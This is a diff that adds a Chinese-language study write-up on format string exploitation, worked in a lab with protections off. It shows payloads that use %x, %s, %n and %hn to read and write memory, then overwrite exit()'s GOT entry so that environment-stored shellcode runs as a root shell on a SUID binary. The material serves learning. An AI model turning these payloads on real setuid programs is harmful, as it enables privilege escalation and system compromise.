|
| 1 | +# 0x00 beginning |
| 2 | + |
| 3 | +记录学习格式化字符串安全问题, 依然不启用安全机制 (NX, ALSR, CANARY), 主要实验部分参考 [^book1], 更多理论 [^stanford]. |
| 4 | + |
| 5 | +示例内存布局` printf("A is %d and is at %08x. B is %x.\n", A, &A, B) `: |
| 6 | + |
| 7 | + top of stack bottom of stack |
| 8 | + |--address of format string--|--value of A--|--address of A--|--value of B--| |
| 9 | + |
| 10 | + |
| 11 | +存在格式化字符串问题的示例代码如下: |
| 12 | + |
| 13 | +```c |
| 14 | +/* |
| 15 | + * gcc -fno-stack-protector -m32 -z execstack -o |
| 16 | + */ |
| 17 | +#include <stdio.h> |
| 18 | +#include <stdlib.h> |
| 19 | +#include <string.h> |
| 20 | + |
| 21 | +int main(int argc, char *argv[]) { |
| 22 | + char text[1024]; |
| 23 | + static int test_val = -72; |
| 24 | + |
| 25 | + if(argc < 2) { |
| 26 | + printf("Usage: %s <text to print>\n", argv[0]); |
| 27 | + exit(0); |
| 28 | + } |
| 29 | + strcpy(text, argv[1]); |
| 30 | + |
| 31 | + printf("The right way to print user-controlled input:\n"); |
| 32 | + printf("%s", text); |
| 33 | + |
| 34 | + printf("\nThe wrong way to print user-controlled input:\n"); |
| 35 | + printf(text); |
| 36 | + |
| 37 | + printf("\n"); |
| 38 | + |
| 39 | + // Debug output |
| 40 | + printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); |
| 41 | + |
| 42 | + exit(0); |
| 43 | +} |
| 44 | + |
| 45 | +``` |
| 46 | +
|
| 47 | +看见里面几个 % 格式化参数, 我们主要关注的格式化参数如下 (其余的不是特别关注): |
| 48 | +
|
| 49 | + %h 把 int 转换为 signed char 或 unsiged char, 如果后面接 n 转换一个指针到 char. |
| 50 | + %s 从内存中读取字符串 |
| 51 | + %x 输出十六进制数 |
| 52 | + %n 写入这个地方的偏移量 |
| 53 | +
|
| 54 | +# 0x10 starting |
| 55 | +
|
| 56 | +初步探索, 发现在 testing 后面接上一格式化字符串发现输出很奇怪的东西, 其实这个就是内存读取了, 结合着内存空间分别你可以知道读哪里. |
| 57 | +
|
| 58 | +```shell |
| 59 | +Sn0rt@warzone:~/lab$ ./fmt testing |
| 60 | +The right way to print user-controlled input: |
| 61 | +testing |
| 62 | +The wrong way to print user-controlled input: |
| 63 | +testing |
| 64 | +[*] test_val @ 0x0804a030 = -72 0xffffffb8 |
| 65 | +Sn0rt@warzone:~/lab$ ./fmt testing%x |
| 66 | +The right way to print user-controlled input: |
| 67 | +testing%x |
| 68 | +The wrong way to print user-controlled input: |
| 69 | +testingbffff270 |
| 70 | +[*] test_val @ 0x0804a030 = -72 0xffffffb8 |
| 71 | +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print "0%x8." * 10') |
| 72 | +The right way to print user-controlled input: |
| 73 | +0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8. |
| 74 | +The wrong way to print user-controlled input: |
| 75 | +0bffff2508.04c8.048.0387825308.07825302e8.025302e388.0302e38788.02e3878258.0387825308.07825302e8. |
| 76 | +[*] test_val @ 0x0804a030 = -72 0xffffffb8 |
| 77 | +``` |
| 78 | + |
| 79 | +## 0x11 arbitrary memory Read |
| 80 | + |
| 81 | +这个示例, 需要辅助程序来帮助读环境变量的内存地址, 辅助程序源码如下: |
| 82 | + |
| 83 | +```c |
| 84 | +#include <stdio.h> |
| 85 | +#include <stdlib.h> |
| 86 | +#include <string.h> |
| 87 | + |
| 88 | +int main(int argc, char *argv[]) { |
| 89 | + char *ptr; |
| 90 | + |
| 91 | + if(argc < 3) { |
| 92 | + printf("Usage: %s <environment variable> <target program name>\n", argv[0]); |
| 93 | + exit(0); |
| 94 | + } |
| 95 | + ptr = getenv(argv[1]); /* get env var location */ |
| 96 | + ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ |
| 97 | + printf("%s will be at %p\n", argv[1], ptr); |
| 98 | +} |
| 99 | +``` |
| 100 | +
|
| 101 | +利用`%s`可以从内存读取字符串, 以读取 PATH 为例子, 首先获取 PATH 的内存地址. |
| 102 | +
|
| 103 | +```shell |
| 104 | +Sn0rt@warzone:~/lab$ ./getaddr PATH fmt |
| 105 | +PATH will be at 0xbffffe26 |
| 106 | +``` |
| 107 | + |
| 108 | +然后构造格式化字符串 (注意 intel 小端序), 到 %s 落到`\x26\xfe\xff\xbf`上直到遇见 NULL 之前的数据按照字符串打印出来. |
| 109 | + |
| 110 | +```shell |
| 111 | +Sn0rt@warzone:~/lab$ ./fmt $(printf "\x26\xfe\xff\xbf")%08x.%08x.%08x.%s |
| 112 | +The right way to print user-controlled input: |
| 113 | +&���%08x.%08x.%08x.%s |
| 114 | +The wrong way to print user-controlled input: |
| 115 | +&���bffff270.0000004c.00000004./local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games |
| 116 | +[*] test_val @ 0x0804a030 = -72 0xffffffb8 |
| 117 | + |
| 118 | +``` |
| 119 | + |
| 120 | +读 $PATH 成功! |
| 121 | + |
| 122 | +## 0x12 arbitrary memory write-%x |
| 123 | + |
| 124 | +可以利用`%n`写其对应数据的位置到内存, 不过这个写方法还是蛮麻烦的, 参考<<灰帽黑客: 正义...>>[^book2]11.1.3 写入任意内存提供了一个魔幻公式. |
| 125 | +我们以写入 0xddccbbaa 到 test_val 为例 |
| 126 | + |
| 127 | +```shell |
| 128 | +Sn0rt@warzone:~/lab$ ./fmt $(printf "\x30\xa0\x04\x08")%x%x%156x%n |
| 129 | +The right way to print user-controlled input: |
| 130 | +0�%x%x%156x%n |
| 131 | +The wrong way to print user-controlled input: |
| 132 | +0�bffff2704c 4 |
| 133 | +[*] test_val @ 0x0804a030 = 170 0x000000aa |
| 134 | + |
| 135 | +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08TEST\x31\xa0\x04\x08TEST\x32\xa0\x04\x08TEST\x33\xa0\x04\x08" + "%x%x%132x%n%17x%n%17x%n%17x%n")') |
| 136 | +The right way to print user-controlled input: |
| 137 | +0�TEST1�TEST2�TEST3�%x%x%132x%n%17x%n%17x%n%17x%n |
| 138 | +The wrong way to print user-controlled input: |
| 139 | +0�TEST1�TEST2�TEST3�bffff2404c 4 54534554 54534554 54534554 |
| 140 | +[*] test_val @ 0x0804a030 = -573785174 0xddccbbaa |
| 141 | + |
| 142 | +``` |
| 143 | + |
| 144 | +## 0x13 arbitrary memory write-direct parameter access |
| 145 | + |
| 146 | +`%Number$n`直接参数访问构造出来的 payload 相对与上面用一堆 %n 构造出来简洁一些, 依然写入`0xddccbbaa`. |
| 147 | + |
| 148 | +```shell |
| 149 | +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n")') |
| 150 | +The right way to print user-controlled input: |
| 151 | +0�1�2�3�%154x%4$n |
| 152 | +The wrong way to print user-controlled input: |
| 153 | +0�1�2�3� bffff260 |
| 154 | +[*] test_val @ 0x0804a030 = 170 0x000000AA |
| 155 | + |
| 156 | +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n" + "%17x%5$n" + "%17x%6$n" + "%17x%7$n")') |
| 157 | +The right way to print user-controlled input: |
| 158 | +0�1�2�3�%154x%4$n%17x%5$n%17x%6$n%17x%7$n |
| 159 | +The wrong way to print user-controlled input: |
| 160 | +0�1�2�3� bffff250 4c 4 804a030 |
| 161 | +[*] test_val @ 0x0804a030 = -573785174 0xddccbbaa |
| 162 | +``` |
| 163 | + |
| 164 | +## 0x14 arbitrary memory write-%h |
| 165 | + |
| 166 | +利用`%h`可以把 payload 构造更加简洁, 而且一次写入两个字节, 这个具体计算方法就是那个魔法公式. |
| 167 | +引用 printf 手册: |
| 168 | + |
| 169 | +> h A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds |
| 170 | +to a pointer to a short int argument. |
| 171 | + |
| 172 | +如法炮制, 写入`0xddccbbaa`到 test_val. |
| 173 | + |
| 174 | +```shell |
| 175 | +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x32\xa0\x04\x08" + "%43699x%4$hn" + "%13073x%5$h")') |
| 176 | +.... |
| 177 | +[*] test_val @ 0x0804a030 = -857888069 0xddccaabb |
| 178 | +``` |
| 179 | + |
| 180 | +# 0x20 using |
| 181 | + |
| 182 | +既然我们能写内存, 那么就能写入到一些关键的地方, 来控制程序的流向. |
| 183 | + |
| 184 | +## 0x21 .dtors |
| 185 | + |
| 186 | +思路 1,.dtors 类似于 C++ 里面构造函数, 函数声明成这个样子`static void func(void) __attribute__ ((destructor))`就类似与 C++ 里面析构函数, 我们打算把 shellcode 放到环境变量里面, 然后利用格式化字符串覆写_DTOR_END_, 按照设计程序会在退出时候调用`exit()`且在 exit() 返回前, 会去调用_DTOR_END_地址的函数, 用 shellcode 在内存里面的地址覆盖掉_DTOR_END_就能 exit() 返回前执行 shellcode. |
| 187 | +不过这个新版本的 gcc 生成链接代码的时候生成的 ELF 里面已经没有_DTOR_LIST_与_DTOR_LIST_字段了, 不过现在有了新的目标 |
| 188 | + |
| 189 | +```shell |
| 190 | +objdump -h -j .fini_array fmt |
| 191 | +``` |
| 192 | + |
| 193 | +## 0x22 overwrite GOT |
| 194 | + |
| 195 | +思路 2: 类似覆盖.dtors, 利用格式化字符串漏洞把 exit()@plt 覆写为 shellode 的环境变量里面的地址, 程序在原来调用 exit() 地方就会转跳到 shellcode 上执行. |
| 196 | + |
| 197 | +做法, 首先需要把 shellcode 放置到环境变量里面, 后获取其地址,shellcode[下载](../media/attach/shellcode.bin). 这个 shellcode 是 setuid(0) 然后 execve(), 所有要对有 suid 位的程序使用, 如果非 suid 则 setuid(0) 调用失败. |
| 198 | + |
| 199 | +```shell |
| 200 | +Sn0rt@warzone:~/lab$ sudo chown root:root fmt |
| 201 | +Sn0rt@warzone:~/lab$ sudo chmod u+s fmt |
| 202 | +Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin) |
| 203 | +Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./fmt |
| 204 | +SHELLCODE will be at 0xbffff84a |
| 205 | +``` |
| 206 | + |
| 207 | +打算把 exit() 地址覆写为 shellcode 地址, 这个地方利用魔法公式计算一下 |
| 208 | + |
| 209 | +```shell |
| 210 | +Sn0rt@warzone:~/lab$ objdump -R fmt |
| 211 | + |
| 212 | +fmt: file format elf32-i386 |
| 213 | + |
| 214 | +DYNAMIC RELOCATION RECORDS |
| 215 | +OFFSET TYPE VALUE |
| 216 | +... |
| 217 | +0804a01c R_386_JUMP_SLOT exit |
| 218 | +0804a020 R_386_JUMP_SLOT __libc_start_main |
| 219 | +0804a024 R_386_JUMP_SLOT putchar |
| 220 | + |
| 221 | +Sn0rt@warzone:~/lab$ python |
| 222 | +... |
| 223 | +>>> 0xbfff - 8 |
| 224 | +49143 |
| 225 | +>>> 0xf84a - 0xbfff |
| 226 | +14411 |
| 227 | + |
| 228 | +Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x1e\xa0\x04\x08" + "\x1c\xa0\x04\x08" + "%49143x%4$hn" + "%14411x%5$hn")') |
| 229 | +... |
| 230 | +[*] test_val @ 0x0804a030 = -72 0xffffffb8 |
| 231 | +sh-4.3# exit |
| 232 | +``` |
| 233 | + |
| 234 | +# 0x03 limit |
| 235 | + |
| 236 | +虽然这样覆盖`exit()`成功了, 但是如果开启了 NX 这样的方法就不行了, 一个原因就是 $SHELLCODE 放在环境变量里面, 环境变量 stack 上 (具体还是有点区分的),NX 是不允许里面 [stack] 有 x 的. |
| 237 | + |
| 238 | +```shell |
| 239 | +Sn0rt@warzone:~/lab$ gdb fmt |
| 240 | +Reading symbols from fmt...(no debugging symbols found)...done. |
| 241 | +gdb-peda$ b main |
| 242 | +Breakpoint 1 at 0x80484e0 |
| 243 | +... |
| 244 | +gdb-peda$ r |
| 245 | +... |
| 246 | +gdb-peda$ searchmem "SHELLCODE" |
| 247 | +Searching for 'SHELLCODE' in: None ranges |
| 248 | +Found 1 results, display max 1 items: |
| 249 | +[stack] : 0xbffff88d ("SHELLCODE=1\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀") |
| 250 | +... |
| 251 | +gdb-peda$ vmmap |
| 252 | +Start End Perm Name |
| 253 | +0x08048000 0x08049000 r-xp /home/Sn0rt/lab/fmt |
| 254 | +... |
| 255 | +0xbffdf000 0xc0000000 rwxp [stack] |
| 256 | +``` |
| 257 | + |
| 258 | +### reference |
| 259 | + |
| 260 | +[^book1]: <<Hacking: the art of exploitation>> |
| 261 | +[^book2]: <<灰帽黑客: 正义黑客的道德规范, 渗透测试, 攻击方法和漏洞分析技术>> |
| 262 | +[^stanford]: [Exploiting Format String Vulnerabilities](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf) |
0 commit comments